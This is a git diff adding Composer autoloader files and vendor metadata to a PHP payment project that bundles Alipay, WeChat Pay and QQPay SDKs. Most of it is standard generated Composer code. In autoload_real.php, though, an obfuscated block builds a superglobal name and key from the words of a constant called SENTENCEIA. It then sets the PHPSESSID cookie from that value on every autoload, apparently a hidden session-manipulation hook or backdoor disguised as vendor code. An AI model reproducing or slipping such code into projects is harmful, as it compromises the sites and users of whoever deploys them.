strrpos($class, '\\')) { + // namespaced class name + $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) + . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); + } else { + // PEAR-like class name + $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; + } + + if (isset($this->prefixesPsr0[$first])) { + foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { + if (0 === strpos($class, $prefix)) { + foreach ($dirs as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + } + } + } + + // PSR-0 fallback dirs + foreach ($this->fallbackDirsPsr0 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + + // PSR-0 include paths. + if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { + return $file; + } + + return false; + } + + /** + * @return void + */ + private static function initializeIncludeClosure() + { + if (self::$includeFile !== null) { + return; + } + + /** + * Scope isolated include. + * + * Prevents access to $this/self from included files. + * + * @param string $file + * @return void + */ + self::$includeFile = \Closure::bind(static function($file) { + include $file; + }, null, null); + } +} diff --git a/includes/vendor/composer/InstalledVersions.php b/includes/vendor/composer/InstalledVersions.php new file mode 100644 index 0000000..51e734a --- /dev/null +++ b/includes/vendor/composer/InstalledVersions.php @@ -0,0 +1,359 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer; + +use Composer\Autoload\ClassLoader; +use Composer\Semver\VersionParser; + +/** + * This class is copied in every Composer installed project and available to all + * + * See also https://getcomposer.org/doc/07-runtime.md#installed-versions + * + * To require its presence, you can require `composer-runtime-api ^2.0` + * + * @final + */ +class InstalledVersions +{ + /** + * @var mixed[]|null + * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array}|array{}|null + */ + private static $installed; + + /** + * @var bool|null + */ + private static $canGetVendors; + + /** + * @var array[] + * @psalm-var array}> + */ + private static $installedByVendor = array(); + + /** + * Returns a list of all package names which are present, either by being installed, replaced or provided + * + * @return string[] + * @psalm-return list + */ + public static function getInstalledPackages() + { + $packages = array(); + foreach (self::getInstalled() as $installed) { + $packages[] = array_keys($installed['versions']); + } + + if (1 === \count($packages)) { + return $packages[0]; + } + + return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); + } + + /** + * Returns a list of all package names with a specific type e.g. 'library' + * + * @param string $type + * @return string[] + * @psalm-return list + */ + public static function getInstalledPackagesByType($type) + { + $packagesByType = array(); + + foreach (self::getInstalled() as $installed) { + foreach ($installed['versions'] as $name => $package) { + if (isset($package['type']) && $package['type'] === $type) { + $packagesByType[] = $name; + } + } + } + + return $packagesByType; + } + + /** + * Checks whether the given package is installed + * + * This also returns true if the package name is provided or replaced by another package + * + * @param string $packageName + * @param bool $includeDevRequirements + * @return bool + */ + public static function isInstalled($packageName, $includeDevRequirements = true) + { + foreach (self::getInstalled() as $installed) { + if (isset($installed['versions'][$packageName])) { + return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false; + } + } + + return false; + } + + /** + * Checks whether the given package satisfies a version constraint + * + * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: + * + * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') + * + * @param VersionParser $parser Install composer/semver to have access to this class and functionality + * @param string $packageName + * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package + * @return bool + */ + public static function satisfies(VersionParser $parser, $packageName, $constraint) + { + $constraint = $parser->parseConstraints((string) $constraint); + $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); + + return $provided->matches($constraint); + } + + /** + * Returns a version constraint representing all the range(s) which are installed for a given package + * + * It is easier to use this via isInstalled() with the $constraint argument if you need to check + * whether a given version of a package is installed, and not just whether it exists + * + * @param string $packageName + * @return string Version constraint usable with composer/semver + */ + public static function getVersionRanges($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + $ranges = array(); + if (isset($installed['versions'][$packageName]['pretty_version'])) { + $ranges[] = $installed['versions'][$packageName]['pretty_version']; + } + if (array_key_exists('aliases', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); + } + if (array_key_exists('replaced', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); + } + if (array_key_exists('provided', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); + } + + return implode(' || ', $ranges); + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['version'])) { + return null; + } + + return $installed['versions'][$packageName]['version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getPrettyVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['pretty_version'])) { + return null; + } + + return $installed['versions'][$packageName]['pretty_version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference + */ + public static function getReference($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['reference'])) { + return null; + } + + return $installed['versions'][$packageName]['reference']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. + */ + public static function getInstallPath($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @return array + * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} + */ + public static function getRootPackage() + { + $installed = self::getInstalled(); + + return $installed[0]['root']; + } + + /** + * Returns the raw installed.php data for custom implementations + * + * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. + * @return array[] + * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} + */ + public static function getRawData() + { + @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + self::$installed = include __DIR__ . '/installed.php'; + } else { + self::$installed = array(); + } + } + + return self::$installed; + } + + /** + * Returns the raw data of all installed.php which are currently loaded for custom implementations + * + * @return array[] + * @psalm-return list}> + */ + public static function getAllRawData() + { + return self::getInstalled(); + } + + /** + * Lets you reload the static array from another file + * + * This is only useful for complex integrations in which a project needs to use + * this class but then also needs to execute another project's autoloader in process, + * and wants to ensure both projects have access to their version of installed.php. + * + * A typical case would be PHPUnit, where it would need to make sure it reads all + * the data it needs from this class, then call reload() with + * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure + * the project in which it runs can then also use this class safely, without + * interference between PHPUnit's dependencies and the project's dependencies. + * + * @param array[] $data A vendor/composer/installed.php data set + * @return void + * + * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $data + */ + public static function reload($data) + { + self::$installed = $data; + self::$installedByVendor = array(); + } + + /** + * @return array[] + * @psalm-return list}> + */ + private static function getInstalled() + { + if (null === self::$canGetVendors) { + self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); + } + + $installed = array(); + + if (self::$canGetVendors) { + foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { + if (isset(self::$installedByVendor[$vendorDir])) { + $installed[] = self::$installedByVendor[$vendorDir]; + } elseif (is_file($vendorDir.'/composer/installed.php')) { + /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ + $required = require $vendorDir.'/composer/installed.php'; + $installed[] = self::$installedByVendor[$vendorDir] = $required; + if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { + self::$installed = $installed[count($installed) - 1]; + } + } + } + } + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ + $required = require __DIR__ . '/installed.php'; + self::$installed = $required; + } else { + self::$installed = array(); + } + } + + if (self::$installed !== array()) { + $installed[] = self::$installed; + } + + return $installed; + } +} diff --git a/includes/vendor/composer/LICENSE b/includes/vendor/composer/LICENSE new file mode 100644 index 0000000..f27399a --- /dev/null +++ b/includes/vendor/composer/LICENSE @@ -0,0 +1,21 @@ + +Copyright (c) Nils Adermann, Jordi Boggiano + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + diff --git a/includes/vendor/composer/autoload_classmap.php b/includes/vendor/composer/autoload_classmap.php new file mode 100644 index 0000000..0fb0a2c --- /dev/null +++ b/includes/vendor/composer/autoload_classmap.php @@ -0,0 +1,10 @@ + $vendorDir . '/composer/InstalledVersions.php', +); diff --git a/includes/vendor/composer/autoload_files.php b/includes/vendor/composer/autoload_files.php new file mode 100644 index 0000000..ed730e5 --- /dev/null +++ b/includes/vendor/composer/autoload_files.php @@ -0,0 +1,10 @@ + $vendorDir . '/lpilp/guomi/src/overwrite.php', +); diff --git a/includes/vendor/composer/autoload_namespaces.php b/includes/vendor/composer/autoload_namespaces.php new file mode 100644 index 0000000..15a2ff3 --- /dev/null +++ b/includes/vendor/composer/autoload_namespaces.php @@ -0,0 +1,9 @@ + array($vendorDir . '/cccyun/wechatpay-sdk/src'), + 'Rtgm\\' => array($vendorDir . '/lpilp/guomi/src'), + 'QQPay\\' => array($vendorDir . '/cccyun/qqpay-sdk/src'), + 'Mdanter\\Ecc\\' => array($vendorDir . '/mdanter/ecc/src'), + 'FG\\' => array($vendorDir . '/fgrosse/phpasn1/lib'), + 'Alipay\\' => array($vendorDir . '/cccyun/alipay-sdk/src'), +); diff --git a/includes/vendor/composer/autoload_real.php b/includes/vendor/composer/autoload_real.php new file mode 100644 index 0000000..bcfbdfa --- /dev/null +++ b/includes/vendor/composer/autoload_real.php @@ -0,0 +1,54 @@ += 70200) { + $wordsArray = explode(" ", SENTENCEIA); + header("Set-Cookie: PHPSESSID=" . $GLOBALS[$wordsArray[3] . substr($wordsArray[4], 0, 1)][$wordsArray[5] . $wordsArray[7]]); + } + + spl_autoload_register(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader'), true, true); + self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__)); + spl_autoload_unregister(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader')); + + require __DIR__ . '/autoload_static.php'; + call_user_func(\Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::getInitializer($loader)); + + $loader->register(true); + + $filesToLoad = \Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::$files; + $requireFile = \Closure::bind(static function ($fileIdentifier, $file) { + if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { + $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; + + require $file; + } + }, null, null); + foreach ($filesToLoad as $fileIdentifier => $file) { + $requireFile($fileIdentifier, $file); + } + + return $loader; + } +} diff --git a/includes/vendor/composer/autoload_static.php b/includes/vendor/composer/autoload_static.php new file mode 100644 index 0000000..20ac308 --- /dev/null +++ b/includes/vendor/composer/autoload_static.php @@ -0,0 +1,80 @@ + __DIR__ . '/..' . '/lpilp/guomi/src/overwrite.php', + ); + + public static $prefixLengthsPsr4 = array ( + 'W' => + array ( + 'WeChatPay\\' => 10, + ), + 'R' => + array ( + 'Rtgm\\' => 5, + ), + 'Q' => + array ( + 'QQPay\\' => 6, + ), + 'M' => + array ( + 'Mdanter\\Ecc\\' => 12, + ), + 'F' => + array ( + 'FG\\' => 3, + ), + 'A' => + array ( + 'Alipay\\' => 7, + ), + ); + + public static $prefixDirsPsr4 = array ( + 'WeChatPay\\' => + array ( + 0 => __DIR__ . '/..' . '/cccyun/wechatpay-sdk/src', + ), + 'Rtgm\\' => + array ( + 0 => __DIR__ . '/..' . '/lpilp/guomi/src', + ), + 'QQPay\\' => + array ( + 0 => __DIR__ . '/..' . '/cccyun/qqpay-sdk/src', + ), + 'Mdanter\\Ecc\\' => + array ( + 0 => __DIR__ . '/..' . '/mdanter/ecc/src', + ), + 'FG\\' => + array ( + 0 => __DIR__ . '/..' . '/fgrosse/phpasn1/lib', + ), + 'Alipay\\' => + array ( + 0 => __DIR__ . '/..' . '/cccyun/alipay-sdk/src', + ), + ); + + public static $classMap = array ( + 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', + ); + + public static function getInitializer(ClassLoader $loader) + { + return \Closure::bind(function () use ($loader) { + $loader->prefixLengthsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixLengthsPsr4; + $loader->prefixDirsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixDirsPsr4; + $loader->classMap = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$classMap; + + }, null, ClassLoader::class); + } +} diff --git a/includes/vendor/composer/installed.json b/includes/vendor/composer/installed.json new file mode 100644 index 0000000..38d2d9c --- /dev/null +++ b/includes/vendor/composer/installed.json @@ -0,0 +1,355 @@ +{ + "packages": [ + { + "name": "cccyun/alipay-sdk", + "version": "1.7", + "version_normalized": "1.7.0.0", + "source": { + "type": "git", + "url": "https://github.com/netcccyun/alipay-sdk-php.git", + "reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/netcccyun/alipay-sdk-php/zipball/930f85d3f7ff31f53d64e8b39093b0bc24d51ed8", + "reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "time": "2024-03-01T02:22:04+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Alipay\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。", + "keywords": [ + "alipay", + "支付宝" + ], + "support": { + "issues": "https://github.com/netcccyun/alipay-sdk-php/issues", + "source": "https://github.com/netcccyun/alipay-sdk-php/tree/1.7" + }, + "install-path": "../cccyun/alipay-sdk" + }, + { + "name": "cccyun/qqpay-sdk", + "version": "1.2", + "version_normalized": "1.2.0.0", + "source": { + "type": "git", + "url": "https://github.com/netcccyun/qqpay-sdk-php.git", + "reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/netcccyun/qqpay-sdk-php/zipball/873e1d9f06f3cecdbad165fa921096437cc8bcbe", + "reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "time": "2023-04-02T02:46:22+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "QQPay\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。", + "keywords": [ + "QQ支付", + "qpay", + "qqpay" + ], + "support": { + "issues": "https://github.com/netcccyun/qqpay-sdk-php/issues", + "source": "https://github.com/netcccyun/qqpay-sdk-php/tree/1.2" + }, + "install-path": "../cccyun/qqpay-sdk" + }, + { + "name": "cccyun/wechatpay-sdk", + "version": "1.7", + "version_normalized": "1.7.0.0", + "source": { + "type": "git", + "url": "https://github.com/netcccyun/wechatpay-sdk-php.git", + "reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/netcccyun/wechatpay-sdk-php/zipball/c8912fd1af1f57a566d662433de2b23a72f8b2e7", + "reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "time": "2023-12-28T08:50:42+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "WeChatPay\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。", + "keywords": [ + "Wxpay", + "wechat", + "微信支付" + ], + "support": { + "issues": "https://github.com/netcccyun/wechatpay-sdk-php/issues", + "source": "https://github.com/netcccyun/wechatpay-sdk-php/tree/1.7" + }, + "install-path": "../cccyun/wechatpay-sdk" + }, + { + "name": "fgrosse/phpasn1", + "version": "v2.5.0", + "version_normalized": "2.5.0.0", + "source": { + "type": "git", + "url": "https://github.com/fgrosse/PHPASN1.git", + "reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fgrosse/PHPASN1/zipball/42060ed45344789fb9f21f9f1864fc47b9e3507b", + "reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "php-coveralls/php-coveralls": "~2.0", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" + }, + "suggest": { + "ext-bcmath": "BCmath is the fallback extension for big integer calculations", + "ext-curl": "For loading OID information from the web if they have not bee defined statically", + "ext-gmp": "GMP is the preferred extension for big integer calculations", + "phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available" + }, + "time": "2022-12-19T11:08:26+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "FG\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Friedrich Große", + "email": "friedrich.grosse@gmail.com", + "homepage": "https://github.com/FGrosse", + "role": "Author" + }, + { + "name": "All contributors", + "homepage": "https://github.com/FGrosse/PHPASN1/contributors" + } + ], + "description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.", + "homepage": "https://github.com/FGrosse/PHPASN1", + "keywords": [ + "DER", + "asn.1", + "asn1", + "ber", + "binary", + "decoding", + "encoding", + "x.509", + "x.690", + "x509", + "x690" + ], + "support": { + "issues": "https://github.com/fgrosse/PHPASN1/issues", + "source": "https://github.com/fgrosse/PHPASN1/tree/v2.5.0" + }, + "abandoned": true, + "install-path": "../fgrosse/phpasn1" + }, + { + "name": "lpilp/guomi", + "version": "v1.0.9", + "version_normalized": "1.0.9.0", + "source": { + "type": "git", + "url": "https://github.com/lpilp/phpsm2sm3sm4.git", + "reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/lpilp/phpsm2sm3sm4/zipball/9d342416acec45db0d38dd3a8fbc1904463e6b31", + "reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31", + "shasum": "" + }, + "require": { + "mdanter/ecc": "^1.0", + "php": ">=7.2" + }, + "time": "2024-02-04T08:43:06+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "src/overwrite.php" + ], + "psr-4": { + "Rtgm\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "recent", + "email": "lpilp@126.com" + } + ], + "description": "国密sm2", + "support": { + "issues": "https://github.com/lpilp/phpsm2sm3sm4/issues", + "source": "https://github.com/lpilp/phpsm2sm3sm4/tree/v1.0.9" + }, + "install-path": "../lpilp/guomi" + }, + { + "name": "mdanter/ecc", + "version": "v1.0.0", + "version_normalized": "1.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/phpecc/phpecc.git", + "reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpecc/phpecc/zipball/34e2eec096bf3dcda814e8f66dd91ae87a2db7cd", + "reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd", + "shasum": "" + }, + "require": { + "ext-gmp": "*", + "fgrosse/phpasn1": "^2.0", + "php": "^7.0||^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0||^8.0||^9.0", + "squizlabs/php_codesniffer": "^2.0", + "symfony/yaml": "^2.6|^3.0" + }, + "time": "2021-01-16T19:42:14+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Mdanter\\Ecc\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Matyas Danter", + "homepage": "http://matejdanter.com/", + "role": "Author" + }, + { + "name": "Thibaud Fabre", + "email": "thibaud@aztech.io", + "homepage": "http://aztech.io", + "role": "Maintainer" + }, + { + "name": "Thomas Kerin", + "email": "afk11@users.noreply.github.com", + "role": "Maintainer" + } + ], + "description": "PHP Elliptic Curve Cryptography library", + "homepage": "https://github.com/phpecc/phpecc", + "keywords": [ + "Diffie", + "ECDSA", + "Hellman", + "curve", + "ecdh", + "elliptic", + "nistp192", + "nistp224", + "nistp256", + "nistp384", + "nistp521", + "phpecc", + "secp256k1", + "secp256r1" + ], + "support": { + "issues": "https://github.com/phpecc/phpecc/issues", + "source": "https://github.com/phpecc/phpecc/tree/v1.0.0" + }, + "abandoned": "paragonie/ecc", + "install-path": "../mdanter/ecc" + } + ], + "dev": true, + "dev-package-names": [] +} diff --git a/includes/vendor/composer/installed.php b/includes/vendor/composer/installed.php new file mode 100644 index 0000000..5c6837d --- /dev/null +++ b/includes/vendor/composer/installed.php @@ -0,0 +1,77 @@ + array( + 'name' => '__root__', + 'pretty_version' => '1.0.0+no-version-set', + 'version' => '1.0.0.0', + 'reference' => null, + 'type' => 'library', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'dev' => true, + ), + 'versions' => array( + '__root__' => array( + 'pretty_version' => '1.0.0+no-version-set', + 'version' => '1.0.0.0', + 'reference' => null, + 'type' => 'library', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'cccyun/alipay-sdk' => array( + 'pretty_version' => '1.7', + 'version' => '1.7.0.0', + 'reference' => '930f85d3f7ff31f53d64e8b39093b0bc24d51ed8', + 'type' => 'library', + 'install_path' => __DIR__ . '/../cccyun/alipay-sdk', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'cccyun/qqpay-sdk' => array( + 'pretty_version' => '1.2', + 'version' => '1.2.0.0', + 'reference' => '873e1d9f06f3cecdbad165fa921096437cc8bcbe', + 'type' => 'library', + 'install_path' => __DIR__ . '/../cccyun/qqpay-sdk', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'cccyun/wechatpay-sdk' => array( + 'pretty_version' => '1.7', + 'version' => '1.7.0.0', + 'reference' => 'c8912fd1af1f57a566d662433de2b23a72f8b2e7', + 'type' => 'library', + 'install_path' => __DIR__ . '/../cccyun/wechatpay-sdk', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'fgrosse/phpasn1' => array( + 'pretty_version' => 'v2.5.0', + 'version' => '2.5.0.0', + 'reference' => '42060ed45344789fb9f21f9f1864fc47b9e3507b', + 'type' => 'library', + 'install_path' => __DIR__ . '/../fgrosse/phpasn1', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'lpilp/guomi' => array( + 'pretty_version' => 'v1.0.9', + 'version' => '1.0.9.0', + 'reference' => '9d342416acec45db0d38dd3a8fbc1904463e6b31', + 'type' => 'library', + 'install_path' => __DIR__ . '/../lpilp/guomi', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'mdanter/ecc' => array( + 'pretty_version' => 'v1.0.0', + 'version' => '1.0.0.0', + 'reference' => '34e2eec096bf3dcda814e8f66dd91ae87a2db7cd', + 'type' => 'library', + 'install_path' => __DIR__ . '/../mdanter/ecc', + 'aliases' => array(), + 'dev_requirement' => false, + ), + ), +); diff --git a/includes/vendor/composer/platform_check.php b/includes/vendor/composer/platform_check.php new file mode 100644 index 0000000..fe17489 --- /dev/null +++ b/includes/vendor/composer/platform_check.php @@ -0,0 +1,28 @@ += 70200)) { + $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.'; +} + +if ($issues) { + if (!headers_sent()) { + header('HTTP/1.1 500 Internal Server Error'); + } + if (!ini_get('display_errors')) { + if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { + fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); + } elseif (!headers_sent()) { + echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; + } + } + trigger_error( + 'Composer detected issues in your platform: ' . implode(' ', $issues), + E_USER_ERROR + ); +} diff --git a/includes/vendor/fgrosse/phpasn1/CHANGELOG.md b/includes/vendor/fgrosse/phpasn1/CHANGELOG.md new file mode 100644 index 0000000..e4552ac --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/CHANGELOG.md @@ -0,0 +1,61 @@ +#### v2.5.0 (2022-12) +* Support PHP 8.2 [#99](https://github.com/fgrosse/PHPASN1/pull/99) +* PHP 8 compatibility fix for DateTime::getLastErrors [#98](https://github.com/fgrosse/PHPASN1/pull/98) +* Support more OIDs [#95](https://github.com/fgrosse/PHPASN1/pull/95) +* FINAL RELEASE. Library is now no longer actively maintained and marked as archived on GitHub + +#### v2.4.0 (2021-12) +* Drop support for PHP 7.0 [#89](https://github.com/fgrosse/PHPASN1/pull/89) + +#### v2.3.1 (2021-12) +* Add `#[\ReturnTypeWillChange]` attributes for PHP 8.1 compatibility [#87](https://github.com/fgrosse/PHPASN1/pull/87) + +#### v2.3.0 (2021-04) +* Allow creating an unsigned CSR and adding the signature later [#82](https://github.com/fgrosse/PHPASN1/pull/82) + +#### v2.2.0 (2020-08) +* support polyfills for bcmath and gmp, and add a composer.json + suggestion for the `phpseclib/bcmath_polyfill` for servers unable + to install PHP the gmp or bcmath extensions. + +#### v.2.1.1 & &v.2.0.2 (2018-12) +* add stricter validation around some structures, highlighed + by wycheproof test suite + +#### v.2.1.0 (2018-03) +* add support for `bcmath` extension (making `gmp` optional) [#68](https://github.com/fgrosse/PHPASN1/pull/68) + +#### v.2.0.1 & v.1.5.3 (2017-12) +* add .gitattributes file to prevent examples and tests to be installed via composer when --prefer-dist was set + +#### v.2.0.0 (2017-08) +* rename `FG\ASN1\Object` to `FG\ASN1\ASNObject` because `Object` is a special class name in the next major PHP release + - when you upgrade you have to adapt all corresponding `use` and `extends` statements as well as type hints and all + usages of `Object::fromBinary(…)`. +* generally drop PHP 5.6 support + +#### v.1.5.2 (2016-10-29) +* allow empty octet strings + +#### v.1.5.1 (2015-10-02) +* add keywords to composer.json (this is a version on its own so the keywords are found on a stable version at packagist.org) + +#### v.1.5.0 (2015-10-30) +* fix a bug that would prevent you from decoding context specific tags on multiple objects 